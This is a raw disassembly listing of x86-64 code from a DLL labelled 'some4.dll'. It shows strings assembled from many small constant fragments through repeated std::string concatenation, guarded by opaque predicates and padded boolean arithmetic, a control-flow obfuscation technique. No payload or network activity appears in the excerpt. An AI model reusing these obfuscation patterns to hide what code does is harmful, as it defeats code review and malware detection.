mov rcx, qword [rbp + 0x1f78]
sub rsp, 0x20
lea r8, [0x66258217]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614d462
mov rdx, qword [rbp + 0x1f78]
mov rcx, qword [rbp + 0x1f70]
sub rsp, 0x20
lea r8, [0x66258260]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614d489
mov rdx, qword [rbp + 0x1f70]
mov rcx, qword [rbp + 0x1f68]
sub rsp, 0x20
lea r8, [0x66258229]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614d4b0
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
sub edx, 0x8fd4b90d
sub edx, 1
add edx, 0x8fd4b90d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614d4f4
jmp 0x661729a8
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0x76478cb2
sub edx, 1
sub edx, 0x76478cb2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614d538
jmp 0x661729a8
mov rdx, qword [rbp + 0x1f68]
mov rcx, qword [rbp + 0x1f60]
sub rsp, 0x20
lea r8, [0x6625821d]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614d55f
mov rdx, qword [rbp + 0x1f60]
mov rcx, qword [rbp + 0x1f58]
sub rsp, 0x20
lea r8, [0x66258217]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614d586
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
sub edx, 0x5aa781bf
sub edx, 1
add edx, 0x5aa781bf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x6614d5fd
jmp 0x661729ad
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0x40cc4a87
sub edx, 1
sub edx, 0x40cc4a87
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x6614d674
jmp 0x661729ad
mov rdx, qword [rbp + 0x1f58]
mov rcx, qword [rbp + 0x1f50]
sub rsp, 0x20
lea r8, [0x66258223]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614d69b
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
add edx, 0xdf54e3f0
sub edx, 1
sub edx, 0xdf54e3f0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x6614d712
jmp 0x661729b2
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
mov edx, ecx
sub edx, 0xb662d600
sub edx, 1
add edx, 0xb662d600
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and r11b, dl
mov r9b, r8b
and r9b, 0xff
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
test al, 1
jne 0x6614d789
jmp 0x661729b2
mov rdx, qword [rbp + 0x1f50]
mov rcx, qword [rbp + 0x1f48]
sub rsp, 0x20
lea r8, [0x6625821f]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614d7b0
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov al, cl
and al, dl
xor cl, dl
or al, cl
test al, 1
jne 0x6614d7ef
jmp 0x661729b7
mov ecx, dword [sym.some4.dll_x.96]
mov eax, dword [sym.some4.dll_y.97]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov cl, r11b
xor cl, 0xff
mov r8b, r10b
xor r8b, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and r11b, dl
mov r9b, r8b
and r9b, 0
and r10b, dl
or al, r11b
or r9b, r10b
xor al, r9b
or cl, r8b
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
test al, 1
jne 0x6614d861
jmp 0x661729b7
mov rdx, qword [rbp + 0x1f48]
mov rcx, qword [rbp + 0x1f40]
sub rsp, 0x20
lea r8, [0x66258217]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614d888
mov rdx, qword [rbp + 0x1f40]
mov rcx, qword [rbp + 0x1f38]
sub rsp, 0x20
lea r8, [0x66258225]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614d8af
mov rdx, qword [rbp + 0x1f38]
mov rcx, qword [rbp + 0x1f30]
sub rsp, 0x20
lea r8, [0x66258227]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614d8d6
mov rdx, qword [rbp + 0x1f30]
mov rcx, qword [rbp + 0x1f28]
sub rsp, 0x20
lea r8, [0x66258229]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614d8fd
mov rdx, qword [rbp + 0x1f28]
mov rcx, qword [rbp + 0x1f20]
sub rsp, 0x20
lea r8, [0x66258217]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614d924
mov rdx, qword [rbp + 0x1f20]
mov rcx, qword [rbp + 0x1f18]
sub rsp, 0x20
lea r8, [0x6625822b]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614d94b
mov rdx, qword [rbp + 0x1f18]
mov rcx, qword [rbp + 0x1f10]
sub rsp, 0x20
lea r8, [0x66258221]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614d972
mov rdx, qword [rbp + 0x1f10]
mov rcx, qword [rbp + 0x1f08]
sub rsp, 0x20
lea r8, [0x6625821b]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
add rsp, 0x20
jmp 0x6614d999
jmp 0x661487b0
jmp 0x6614b7f0
mov rax, qword [rbp + 0x1d30]
mov rcx, qword [rbp + 0x1338]
mov qword [rax], rcx
jmp 0x6614b92f
jmp 0x6614ba30
jmp 0x6614bb13
jmp 0x6614bbe4
jmp 0x6614bd61
jmp 0x6614be60
jmp 0x6614bfd2
jmp 0x6614c0a8
jmp 0x6614c185
jmp 0x6614c2b0
mov rcx, qword [rbp + 0x1d50]
sub rsp, 0x20
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d58]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d60]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d68]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d70]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d78]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d80]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d88]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d90]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1d98]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1da0]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1da8]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1db0]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1db8]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
add rsp, 0x20
jmp 0x6614c429
mov rcx, qword [rbp + 0x1e00]
sub rsp, 0x20
call fcn.661fb310
add rsp, 0x20
jmp 0x6614c5fc
jmp 0x6614c6eb
jmp 0x6614c7b2
jmp 0x6614c986
jmp 0x6614ca79
jmp 0x6614cc03
jmp 0x6614cdca
jmp 0x6614ced3
jmp 0x6614cf82
mov rcx, qword [rbp + 0x1e60]
sub rsp, 0x20
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1e68]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1e70]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1e78]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1e80]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov rcx, qword [rbp + 0x1e88]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
add rsp, 0x20
jmp 0x6614d0c2
jmp 0x6614d227
jmp 0x6614d3d0
jmp 0x6614d4f4
jmp 0x6614d5fd
jmp 0x6614d712
jmp 0x6614d7ef